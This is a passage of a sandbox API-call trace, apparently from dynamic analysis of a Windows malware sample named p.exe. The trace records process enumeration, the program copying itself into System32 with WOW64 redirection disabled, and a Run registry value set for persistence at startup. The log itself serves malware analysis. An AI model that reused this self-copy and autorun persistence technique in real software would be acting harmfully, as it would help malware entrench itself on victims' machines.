	[0084.579] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.580] lstrlenW (lpString="svchost.exe") returned 11
	[0084.580] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.580] lstrlenW (lpString="svchost.exe") returned 11
	[0084.581] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.581] lstrlenW (lpString="svchost.exe") returned 11
	[0084.581] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.582] lstrlenW (lpString="svchost.exe") returned 11
	[0084.582] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0084.582] lstrlenW (lpString="audiodg.exe") returned 11
	[0084.582] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.583] lstrlenW (lpString="svchost.exe") returned 11
	[0084.583] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.583] lstrlenW (lpString="svchost.exe") returned 11
	[0084.583] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0084.584] lstrlenW (lpString="dwm.exe") returned 7
	[0084.584] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0084.584] lstrlenW (lpString="explorer.exe") returned 12
	[0084.584] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0084.585] lstrlenW (lpString="spoolsv.exe") returned 11
	[0084.585] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0084.585] lstrlenW (lpString="taskhost.exe") returned 12
	[0084.585] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.586] lstrlenW (lpString="svchost.exe") returned 11
	[0084.586] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0084.586] lstrlenW (lpString="taskeng.exe") returned 11
	[0084.587] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0084.587] lstrlenW (lpString="taskhost.exe") returned 12
	[0084.587] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="similarlyvaultsquirting.exe")) returned 1
	[0084.588] lstrlenW (lpString="similarlyvaultsquirting.exe") returned 27
	[0084.588] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wisdom-restaurant.exe")) returned 1
	[0084.588] lstrlenW (lpString="wisdom-restaurant.exe") returned 21
	[0084.588] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="zoo.exe")) returned 1
	[0084.589] lstrlenW (lpString="zoo.exe") returned 7
	[0084.589] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formula-graduates.exe")) returned 1
	[0084.589] lstrlenW (lpString="formula-graduates.exe") returned 21
	[0084.589] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="determined.exe")) returned 1
	[0084.590] lstrlenW (lpString="determined.exe") returned 14
	[0084.590] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressreflectmovement.exe")) returned 1
	[0084.590] lstrlenW (lpString="expressreflectmovement.exe") returned 26
	[0084.590] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hansen mails.exe")) returned 1
	[0084.591] lstrlenW (lpString="hansen mails.exe") returned 16
	[0084.591] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="choirsas.exe")) returned 1
	[0084.592] lstrlenW (lpString="choirsas.exe") returned 12
	[0084.592] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="skirt_races.exe")) returned 1
	[0084.592] lstrlenW (lpString="skirt_races.exe") returned 15
	[0084.592] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actors_radius.exe")) returned 1
	[0084.593] lstrlenW (lpString="actors_radius.exe") returned 17
	[0084.593] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scheduling.exe")) returned 1
	[0084.594] lstrlenW (lpString="scheduling.exe") returned 14
	[0084.594] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="michael.exe")) returned 1
	[0084.594] lstrlenW (lpString="michael.exe") returned 11
	[0084.594] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="worldcatcommonwealth.exe")) returned 1
	[0084.595] lstrlenW (lpString="worldcatcommonwealth.exe") returned 24
	[0084.595] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pleasure.exe")) returned 1
	[0084.596] lstrlenW (lpString="pleasure.exe") returned 12
	[0084.596] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering_subsidiary.exe")) returned 1
	[0084.597] lstrlenW (lpString="entering_subsidiary.exe") returned 23
	[0084.597] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="electron.exe")) returned 1
	[0084.598] lstrlenW (lpString="electron.exe") returned 12
	[0084.598] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eligible-terry-procedures.exe")) returned 1
	[0084.598] lstrlenW (lpString="eligible-terry-procedures.exe") returned 29
	[0084.598] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="telling-copper-couples.exe")) returned 1
	[0084.599] lstrlenW (lpString="telling-copper-couples.exe") returned 26
	[0084.599] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rolled midlands.exe")) returned 1
	[0084.600] lstrlenW (lpString="rolled midlands.exe") returned 19
	[0084.600] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pointer.exe")) returned 1
	[0084.600] lstrlenW (lpString="pointer.exe") returned 11
	[0084.600] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gd logos.exe")) returned 1
	[0084.601] lstrlenW (lpString="gd logos.exe") returned 12
	[0084.601] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="algebra validity.exe")) returned 1
	[0084.601] lstrlenW (lpString="algebra validity.exe") returned 20
	[0084.601] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="drunk_opinion.exe")) returned 1
	[0084.602] lstrlenW (lpString="drunk_opinion.exe") returned 17
	[0084.602] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0084.603] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0084.603] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0084.604] lstrlenW (lpString="dllhost.exe") returned 11
	[0084.604] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0084.604] lstrlenW (lpString="dllhost.exe") returned 11
	[0084.604] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="p.exe")) returned 1
	[0084.605] lstrlenW (lpString="p.exe") returned 5
	[0084.605] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="p.exe")) returned 0
	[0084.606] CloseHandle (hObject=0xe0) returned 1
	[0084.607] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5240 | out: hHeap=0x4a0000) returned 1
	[0084.607] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5288 | out: hHeap=0x4a0000) returned 1
	[0084.607] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d52d0 | out: hHeap=0x4a0000) returned 1
	[0084.607] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d52f0 | out: hHeap=0x4a0000) returned 1
	[0084.607] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5338 | out: hHeap=0x4a0000) returned 1
	[0084.607] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d49d8 | out: hHeap=0x4a0000) returned 1
	[0084.607] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b46f0 | out: hHeap=0x4a0000) returned 1
	[0084.607] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4728 | out: hHeap=0x4a0000) returned 1
	[0084.607] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4320 | out: hHeap=0x4a0000) returned 1
	[0084.607] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4348 | out: hHeap=0x4a0000) returned 1
	[0084.607] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4770 | out: hHeap=0x4a0000) returned 1
	[0084.607] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4370 | out: hHeap=0x4a0000) returned 1
	[0084.607] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4db400
	[0084.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4eb408
	[0084.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d8
	[0084.608] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d8, Size=0x20) returned 0x4b4370
	[0084.608] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4370, Size=0x40) returned 0x4d6980
	[0084.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d8
	[0084.608] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d8, Size=0x20) returned 0x4b4370
	[0084.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d8
	[0084.608] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d8, Size=0x20) returned 0x4b4348
	[0084.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d8
	[0084.608] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d8, Size=0x20) returned 0x4b4320
	[0084.609] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4320, Size=0x40) returned 0x4d69c8
	[0084.609] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4eb408, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p.exe")) returned 0x2b
	[0084.609] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4fb410
	[0084.609] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x50b418
	[0084.610] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d8
	[0084.610] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d8, Size=0x20) returned 0x4b4320
	[0084.610] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4320, Size=0x40) returned 0x4d6a10
	[0084.610] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d6a10, Size=0x80) returned 0x4d5240
	[0084.610] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d5240, Size=0x100) returned 0x4d7b88
	[0084.610] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0084.610] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d7b88 | out: hHeap=0x4a0000) returned 1
	[0084.610] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\p.exe", lpDst=0x4fb410, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\p.exe") returned 0x1a
	[0084.610] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x50b418 | out: hHeap=0x4a0000) returned 1
	[0084.610] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fb410 | out: hHeap=0x4a0000) returned 1
	[0084.610] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x100000) returned 0x2110020
	[0084.610] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d8
	[0084.610] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d8, Size=0x20) returned 0x4b4320
	[0084.611] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d8
	[0084.611] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d8, Size=0x20) returned 0x4d5908
	[0084.611] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0084.611] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0084.611] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1
	[0084.611] lstrlenW (lpString="kernel32.dll") returned 12
	[0084.611] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4320 | out: hHeap=0x4a0000) returned 1
	[0084.611] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0084.611] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5908 | out: hHeap=0x4a0000) returned 1
	[0084.611] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0
	[0084.611] CreateFileW (lpFileName="C:\\Windows\\System32\\p.exe" (normalized: "c:\\windows\\system32\\p.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4
	[0084.612] ReadFile (in: hFile=0xe0, lpBuffer=0x2110020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2110020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1
	[0084.626] WriteFile (in: hFile=0xe4, lpBuffer=0x2110020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2110020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1
	[0084.629] ReadFile (in: hFile=0xe0, lpBuffer=0x2110020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2110020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1
	[0084.629] CloseHandle (hObject=0xe4) returned 1
	[0084.632] CloseHandle (hObject=0xe0) returned 1
	[0084.632] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d8
	[0084.632] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d8, Size=0x20) returned 0x4d5908
	[0084.632] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d8
	[0084.632] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d8, Size=0x20) returned 0x4d58b8
	[0084.632] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0084.632] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0084.632] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1
	[0084.632] lstrlenW (lpString="kernel32.dll") returned 12
	[0084.632] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d58b8 | out: hHeap=0x4a0000) returned 1
	[0084.633] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0084.633] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5908 | out: hHeap=0x4a0000) returned 1
	[0084.633] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x2110020 | out: hHeap=0x4a0000) returned 1
	[0084.638] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d8
	[0084.638] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d8, Size=0x20) returned 0x4d5908
	[0084.638] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d5908, Size=0x40) returned 0x4d6a10
	[0084.638] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d6a10, Size=0x80) returned 0x4fb428
	[0084.638] lstrlenW (lpString="C:\\Windows\\System32\\p.exe") returned 25
	[0084.638] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0084.638] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x5c) returned 0x4d5240
	[0084.638] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0
	[0084.639] RegSetValueExW (in: hKey=0xe0, lpValueName="p.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\p.exe", cbData=0x32 | out: lpData="C:\\Windows\\System32\\p.exe") returned 0x0
	[0084.639] RegCloseKey (hKey=0xe0) returned 0x0
	[0084.639] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5240 | out: hHeap=0x4a0000) returned 1
	[0084.639] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0084.640] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fb428 | out: hHeap=0x4a0000) returned 1
	[0084.640] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4fd410
	[0084.640] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x50d418
	[0084.640] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d49d8
	[0084.640] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d49d8, Size=0x20) returned 0x4d5908
	[0084.640] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d5908, Size=0x40) returned 0x4d6a10
